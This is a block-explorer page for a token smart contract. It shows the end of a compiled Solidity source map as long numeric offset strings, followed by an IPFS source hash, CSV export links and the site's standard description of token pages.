32;11299:19;;8636:68:0;10926:398:1;8636:68:0;-1:-1:-1;;;;;8715:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8767:32;;1595:25:1;;;8767:32:0;;1568:18:1;8767:32:0;;;;;;;8438:369;;;:::o;8816:2110::-;-1:-1:-1;;;;;8938:18:0;;8930:68;;;;-1:-1:-1;;;8930:68:0;;11531:2:1;8930:68:0;;;11513:21:1;11570:2;11550:18;;;11543:30;11609:34;11589:18;;;11582:62;-1:-1:-1;;;11660:18:1;;;11653:35;11705:19;;8930:68:0;11329:401:1;8930:68:0;-1:-1:-1;;;;;9017:16:0;;9009:64;;;;-1:-1:-1;;;9009:64:0;;11937:2:1;9009:64:0;;;11919:21:1;11976:2;11956:18;;;11949:30;12015:34;11995:18;;;11988:62;-1:-1:-1;;;12066:18:1;;;12059:33;12109:19;;9009:64:0;11735:399:1;9009:64:0;9101:1;9092:6;:10;9084:64;;;;-1:-1:-1;;;9084:64:0;;12341:2:1;9084:64:0;;;12323:21:1;12380:2;12360:18;;;12353:30;12419:34;12399:18;;;12392:62;-1:-1:-1;;;12470:18:1;;;12463:39;12519:19;;9084:64:0;12139:405:1;9084:64:0;1569:7;1596:6;-1:-1:-1;;;;;9166:15:0;;;1596:6;;9166:15;;;;:32;;-1:-1:-1;1569:7:0;1596:6;-1:-1:-1;;;;;9185:13:0;;;1596:6;;9185:13;;9166:32;:57;;;;-1:-1:-1;;;;;;9202:21:0;;9218:4;9202:21;;9166:57;:80;;;;-1:-1:-1;;;;;;9227:19:0;;9241:4;9227:19;;9166:80;9162:1001;;;9304:11;;-1:-1:-1;;;9304:11:0;;;;9299:144;;1569:7;1596:6;-1:-1:-1;;;;;9344:15:0;;;1596:6;;9344:15;9336:91;;;;-1:-1:-1;;;9336:91:0;;12751:2:1;9336:91:0;;;12733:21:1;12790:2;12770:18;;;12763:30;12829:34;12809:18;;;12802:62;12900:33;12880:18;;;12873:61;12951:19;;9336:91:0;12549:427:1;9336:91:0;9469:13;;-1:-1:-1;;;;;9463:19:0;;;9469:13;;9463:19;9460:146;;9536:14;;9527:6;9511:13;9521:2;9511:9;:13::i;:::-;:22;;;;:::i;:::-;:39;9503:87;;;;-1:-1:-1;;;9503:87:0;;13313:2:1;9503:87:0;;;13295:21:1;13352:2;13332:18;;;13325:30;13391:34;13371:18;;;13364:62;-1:-1:-1;;;13442:18:1;;;13435:33;13485:19;;9503:87:0;13111:399:1;9503:87:0;9623:28;9654:24;9672:4;9654:9;:24::i;:::-;9732:19;;9623:55;;-1:-1:-1;9708:43:0;;;;;;;9770:18;;-1:-1:-1;9782:6:0;;-1:-1:-1;;;9782:6:0;;;;9781:7;9770:18;:43;;;;-1:-1:-1;9800:13:0;;-1:-1:-1;;;;;9792:21:0;;;9800:13;;9792:21;;9770:43;:58;;;;-1:-1:-1;9817:11:0;;-1:-1:-1;;;9817:11:0;;;;9770:58;:87;;;;-1:-1:-1;;;;;;9833:24:0;;;;;;:18;:24;;;;;;;;9832:25;9770:87;:114;;;;-1:-1:-1;;;;;;9862:22:0;;;;;;:18;:22;;;;;;;;9861:23;9770:114;9766:386;;;9905:38;9922:20;9905:16;:38::i;:::-;9991:21;10035:22;;10031:106;;10082:35;10095:21;10082:12;:35::i;:::-;9886:266;9766:386;9248:915;;9162:1001;-1:-1:-1;;;;;10241:24:0;;10176:12;10241:24;;;:18;:24;;;;;;10191:4;;10241:24;;;:50;;-1:-1:-1;;;;;;10269:22:0;;;;;;:18;:22;;;;;;;;10241:50;10240:102;;;-1:-1:-1;10305:13:0;;-1:-1:-1;;;;;10297:21:0;;;10305:13;;10297:21;;;;:44;;-1:-1:-1;10328:13:0;;-1:-1:-1;;;;;10322:19:0;;;10328:13;;10322:19;;10297:44;10236:628;;;-1:-1:-1;10369:5:0;10236:628;;;10453:13;;-1:-1:-1;;;;;10445:21:0;;;10453:13;;10445:21;:55;;;;-1:-1:-1;10484:15:0;;-1:-1:-1;;;;;10470:30:0;;;10484:15;;10470:30;;10445:55;10442:162;;;10533:14;;10521:9;:26;10576:12;;10566:7;:22;10442:162;10664:13;;-1:-1:-1;;;;;10658:19:0;;;10664:13;;10658:19;:55;;;;-1:-1:-1;10697:15:0;;-1:-1:-1;;;;;10681:32:0;;;10697:15;;10681:32;;10658:55;10654:196;;;10766:17;;10746:15;;:46;;-1:-1:-1;;;;;10766:17:0;:25;10746:19;:46::i;:::-;10734:9;:58;10821:13;;10811:7;:23;10654:196;10877:41;10892:4;10898:2;10902:6;10910:7;10877:14;:41::i;:::-;8919:2007;8816:2110;;;:::o;2516:224::-;2636:7;2672:12;2664:6;;;;2656:29;;;;-1:-1:-1;;;2656:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2696:9:0;2708:5;2712:1;2708;:5;:::i;:::-;2696:17;2516:224;-1:-1:-1;;;;;2516:224:0:o;11427:101::-;11484:19;;:36;;-1:-1:-1;;;;;11484:19:0;;;;:36;;;;;11513:6;;11484:19;:36;:19;:36;11513:6;11484:19;:36;;;;;;;;;;;;;;;;;;;7871:202;7966:7;7991:19;8013:10;:8;:10::i;:::-;7991:32;-1:-1:-1;8041:24:0;:7;7991:32;8041:11;:24::i;:::-;8034:31;7871:202;-1:-1:-1;;;7871:202:0:o;10935:483::-;5866:6;:13;;-1:-1:-1;;;;5866:13:0;-1:-1:-1;;;5866:13:0;;;11037:16:::1;::::0;;11051:1:::1;11037:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11037:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11037:16:0::1;11013:40;;11082:4;11064;11069:1;11064:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11064:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11108:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11108:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11064:7;;11108:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11098:4;11103:1;11098:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11098:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11173:15:::1;::::0;11141:62:::1;::::0;11158:4:::1;::::0;11173:15:::1;11191:11:::0;11141:8:::1;:62::i;:::-;11214:15;::::0;:196:::1;::::0;-1:-1:-1;;;11214:196:0;;-1:-1:-1;;;;;11214:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11295:11;;11214:15:::1;::::0;11337:4;;11364::::1;::::0;11384:15:::1;::::0;11214:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5902:6:0;:14;;-1:-1:-1;;;;5902:14:0;;;-1:-1:-1;;;;10935:483:0:o;2371:136::-;2429:7;2456:43;2460:1;2463;2456:43;;;;;;;;;;;;;;;;;:3;:43::i;12025:282::-;12181:7;12176:28;;12190:14;:12;:14::i;:::-;12215:44;12233:6;12241:9;12252:6;12215:17;:44::i;:::-;12275:7;12270:29;;12284:15;8368:17;;8356:9;:29;8406:15;;8396:7;:25;8312:117;15073:164;15115:7;15136:15;15153;15172:19;:17;:19::i;:::-;15135:56;;-1:-1:-1;15135:56:0;-1:-1:-1;15209:20:0;15135:56;;15209:11;:20::i;:::-;15202:27;;;;15073:164;:::o;3004:132::-;3062:7;3089:39;3093:1;3096;3089:39;;;;;;;;;;;;;;;;;:3;:39::i;8082:221::-;8129:9;;:14;:30;;;;-1:-1:-1;8147:7:0;;:12;8129:30;8125:43;;;8082:221::o;8125:43::-;8201:9;;;8181:17;:29;8239:7;;;8221:15;:25;-1:-1:-1;8260:13:0;;;;8284:11;8082:221::o;12316:618::-;12463:15;12493:23;12531:12;12558:23;12596:12;12623:13;12650:27;12661:6;12669:7;12650:10;:27::i;:::-;-1:-1:-1;;;;;12706:15:0;;;;;;:7;:15;;;;;;12448:229;;-1:-1:-1;12448:229:0;;-1:-1:-1;12448:229:0;;-1:-1:-1;12448:229:0;-1:-1:-1;12448:229:0;-1:-1:-1;12448:229:0;-1:-1:-1;12706:28:0;;12448:229;12706:19;:28::i;:::-;-1:-1:-1;;;;;12688:15:0;;;;;;;:7;:15;;;;;;:46;;;;12766:18;;;;;;;:39;;12789:15;12766:22;:39::i;:::-;-1:-1:-1;;;;;12745:18:0;;;;;;:7;:18;;;;;:60;12816:16;12826:5;12816:9;:16::i;:::-;12843:23;12855:4;12861;12843:11;:23::i;:::-;12899:9;-1:-1:-1;;;;;12882:44:0;12891:6;-1:-1:-1;;;;;12882:44:0;;12910:15;12882:44;;;;1595:25:1;;1583:2;1568:18;;1449:177;12882:44:0;;;;;;;;12437:497;;;;;;12316:618;;;:::o;15246:257::-;15344:7;;15297;;;;;4846:13;4511:1;4846:2;:13;:::i;:::-;4835:24;;:8;:24;:::i;:::-;15362:25;-1:-1:-1;15412:20:0;4846:13;4511:1;4846:2;:13;:::i;:::-;4835:24;;:8;:24;:::i;:::-;15412:7;;;:11;:20::i;:::-;15402:7;:30;15398:61;;;15442:7;;4846:13;4511:1;4846:2;:13;:::i;:::-;4835:24;;:8;:24;:::i;:::-;15434:25;;;;;;15246:257;;:::o;15398:61::-;15478:7;;15487;;-1:-1:-1;15246:257:0;-1:-1:-1;15246:257:0:o;3145:223::-;3265:7;3300:12;3293:5;3285:28;;;;-1:-1:-1;;;3285:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3324:9:0;3336:5;3340:1;3336;:5;:::i;13357:686::-;13473:7;13495;13517;13539;13561;13583;13619:23;13644:12;13658:13;13688:40;13700:7;13709:9;;13720:7;;13688:11;:40::i;:::-;13618:110;;;;;;13739:19;13761:10;:8;:10::i;:::-;13739:32;;13783:15;13800:23;13825:12;13854:46;13866:7;13875:4;13881:5;13888:11;13854;:46::i;:::-;13782:118;;;;;;13925:17;;;;;;;;;-1:-1:-1;;;;;13925:17:0;-1:-1:-1;;;;;13915:27:0;:6;-1:-1:-1;;;;;13915:27:0;;13911:44;;13954:1;13944:11;;13911:44;13974:7;;13983:15;;-1:-1:-1;13974:7:0;;-1:-1:-1;14006:15:0;;-1:-1:-1;14023:4:0;;-1:-1:-1;14023:4:0;-1:-1:-1;13357:686:0;;-1:-1:-1;;;;13357:686:0:o;2183:179::-;2241:7;;2273:5;2277:1;2273;:5;:::i;:::-;2261:17;;2302:1;2297;:6;;2289:46;;;;-1:-1:-1;;;2289:46:0;;15321:2:1;2289:46:0;;;15303:21:1;15360:2;15340:18;;;15333:30;15399:29;15379:18;;;15372:57;15446:18;;2289:46:0;15119:351:1;12943:211:0;12996:19;13018:10;:8;:10::i;:::-;12996:32;-1:-1:-1;13039:13:0;13055:22;:5;12996:32;13055:9;:22::i;:::-;13129:4;13113:22;;;;:7;:22;;;;;;13039:38;;-1:-1:-1;13113:33:0;;13039:38;13113:26;:33::i;:::-;13104:4;13088:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;12943:211:0:o;13163:147::-;13241:7;;:17;;13253:4;13241:11;:17::i;:::-;13231:7;:27;13282:10;;:20;;13297:4;13282:14;:20::i;:::-;13269:10;:33;-1:-1:-1;;13163:147:0:o;14052:469::-;14221:7;;;;14315:30;14341:3;14315:21;:7;14327:8;14315:11;:21::i;:::-;:25;;:30::i;:::-;14300:45;-1:-1:-1;14356:13:0;14372:28;14396:3;14372:19;:7;14384:6;14372:11;:19::i;:28::-;14356:44;-1:-1:-1;14411:23:0;14437:28;14356:44;14437:17;:7;14449:4;14437:11;:17::i;:::-;:21;;:28::i;:::-;14411:54;14501:4;;-1:-1:-1;14507:5:0;;-1:-1:-1;14052:469:0;;-1:-1:-1;;;;;14052:469:0:o;14530:534::-;14724:7;;;;14821:24;:7;14833:11;14821;:24::i;:::-;14803:42;-1:-1:-1;14856:12:0;14871:21;:4;14880:11;14871:8;:21::i;:::-;14856:36;-1:-1:-1;14903:13:0;14919:22;:5;14929:11;14919:9;:22::i;:::-;14903:38;-1:-1:-1;14952:23:0;14978:28;14903:38;14978:17;:7;14990:4;14978:11;:17::i;:28::-;15025:7;;;;-1:-1:-1;15051:4:0;;-1:-1:-1;14530:534:0;;-1:-1:-1;;;;;;;14530:534:0:o;2749:246::-;2807:7;2831:1;2836;2831:6;2827:47;;-1:-1:-1;2861:1:0;2854:8;;2827:47;2884:9;2896:5;2900:1;2896;:5;:::i;:::-;2884:17;-1:-1:-1;2929:1:0;2920:5;2924:1;2884:17;2920:5;:::i;:::-;:10;2912:56;;;;-1:-1:-1;;;2912:56:0;;15677:2:1;2912:56:0;;;15659:21:1;15716:2;15696:18;;;15689:30;15755:34;15735:18;;;15728:62;-1:-1:-1;;;15806:18:1;;;15799:31;15847:19;;2912:56:0;15475:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:118::-;2575:5;2568:13;2561:21;2554:5;2551:32;2541:60;;2597:1;2594;2587:12;2612:241;2668:6;2721:2;2709:9;2700:7;2696:23;2692:32;2689:52;;;2737:1;2734;2727:12;2689:52;2776:9;2763:23;2795:28;2817:5;2795:28;:::i;2858:247::-;2917:6;2970:2;2958:9;2949:7;2945:23;2941:32;2938:52;;;2986:1;2983;2976:12;2938:52;3025:9;3012:23;3044:31;3069:5;3044:31;:::i;3110:180::-;3169:6;3222:2;3210:9;3201:7;3197:23;3193:32;3190:52;;;3238:1;3235;3228:12;3190:52;-1:-1:-1;3261:23:1;;3110:180;-1:-1:-1;3110:180:1:o;3295:385::-;3381:6;3389;3397;3405;3458:3;3446:9;3437:7;3433:23;3429:33;3426:53;;;3475:1;3472;3465:12;3426:53;-1:-1:-1;;3498:23:1;;;3568:2;3553:18;;3540:32;;-1:-1:-1;3619:2:1;3604:18;;3591:32;;3670:2;3655:18;3642:32;;-1:-1:-1;3295:385:1;-1:-1:-1;3295:385:1:o;3685:388::-;3753:6;3761;3814:2;3802:9;3793:7;3789:23;3785:32;3782:52;;;3830:1;3827;3820:12;3782:52;3869:9;3856:23;3888:31;3913:5;3888:31;:::i;:::-;3938:5;-1:-1:-1;3995:2:1;3980:18;;3967:32;4008:33;3967:32;4008:33;:::i;:::-;4060:7;4050:17;;;3685:388;;;;;:::o;4078:127::-;4139:10;4134:3;4130:20;4127:1;4120:31;4170:4;4167:1;4160:15;4194:4;4191:1;4184:15;4210:422;4299:1;4342:5;4299:1;4356:270;4377:7;4367:8;4364:21;4356:270;;;4436:4;4432:1;4428:6;4424:17;4418:4;4415:27;4412:53;;;4445:18;;:::i;:::-;4495:7;4485:8;4481:22;4478:55;;;4515:16;;;;4478:55;4594:22;;;;4554:15;;;;4356:270;;;4360:3;4210:422;;;;;:::o;4637:806::-;4686:5;4716:8;4706:80;;-1:-1:-1;4757:1:1;4771:5;;4706:80;4805:4;4795:76;;-1:-1:-1;4842:1:1;4856:5;;4795:76;4887:4;4905:1;4900:59;;;;4973:1;4968:130;;;;4880:218;;4900:59;4930:1;4921:10;;4944:5;;;4968:130;5005:3;4995:8;4992:17;4989:43;;;5012:18;;:::i;:::-;-1:-1:-1;;5068:1:1;5054:16;;5083:5;;4880:218;;5182:2;5172:8;5169:16;5163:3;5157:4;5154:13;5150:36;5144:2;5134:8;5131:16;5126:2;5120:4;5117:12;5113:35;5110:77;5107:159;;;-1:-1:-1;5219:19:1;;;5251:5;;5107:159;5298:34;5323:8;5317:4;5298:34;:::i;:::-;5368:6;5364:1;5360:6;5356:19;5347:7;5344:32;5341:58;;;5379:18;;:::i;:::-;5417:20;;4637:806;-1:-1:-1;;;4637:806:1:o;5448:140::-;5506:5;5535:47;5576:4;5566:8;5562:19;5556:4;5535:47;:::i;5593:168::-;5666:9;;;5697;;5714:15;;;5708:22;;5694:37;5684:71;;5735:18;;:::i;5766:356::-;5968:2;5950:21;;;5987:18;;;5980:30;6046:34;6041:2;6026:18;;6019:62;6113:2;6098:18;;5766:356::o;8097:251::-;8167:6;8220:2;8208:9;8199:7;8195:23;8191:32;8188:52;;;8236:1;8233;8226:12;8188:52;8268:9;8262:16;8287:31;8312:5;8287:31;:::i;9274:306::-;9362:6;9370;9378;9431:2;9419:9;9410:7;9406:23;9402:32;9399:52;;;9447:1;9444;9437:12;9399:52;9476:9;9470:16;9460:26;;9526:2;9515:9;9511:18;9505:25;9495:35;;9570:2;9559:9;9555:18;9549:25;9539:35;;9274:306;;;;;:::o;9864:245::-;9931:6;9984:2;9972:9;9963:7;9959:23;9955:32;9952:52;;;10000:1;9997;9990:12;9952:52;10032:9;10026:16;10051:28;10073:5;10051:28;:::i;12981:125::-;13046:9;;;13067:10;;;13064:36;;;13080:18;;:::i;13515:128::-;13582:9;;;13603:11;;;13600:37;;;13617:18;;:::i;13780:127::-;13841:10;13836:3;13832:20;13829:1;13822:31;13872:4;13869:1;13862:15;13896:4;13893:1;13886:15;13912:980;14174:4;14222:3;14211:9;14207:19;14253:6;14242:9;14235:25;14279:2;14317:6;14312:2;14301:9;14297:18;14290:34;14360:3;14355:2;14344:9;14340:18;14333:31;14384:6;14419;14413:13;14450:6;14442;14435:22;14488:3;14477:9;14473:19;14466:26;;14527:2;14519:6;14515:15;14501:29;;14548:1;14558:195;14572:6;14569:1;14566:13;14558:195;;;14637:13;;-1:-1:-1;;;;;14633:39:1;14621:52;;14728:15;;;;14693:12;;;;14669:1;14587:9;14558:195;;;-1:-1:-1;;;;;;;14809:32:1;;;;14804:2;14789:18;;14782:60;-1:-1:-1;;;14873:3:1;14858:19;14851:35;14770:3;13912:980;-1:-1:-1;;;13912:980:1:o;14897:217::-;14937:1;14963;14953:132;;15007:10;15002:3;14998:20;14995:1;14988:31;15042:4;15039:1;15032:15;15070:4;15067:1;15060:15;14953:132;-1:-1:-1;15099:9:1;;14897:217::o

Swarm Source

ipfs://5f5b4e5be3c5a40a6391b2884999395dfe1ef587d0029b93b408f78427195d0c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.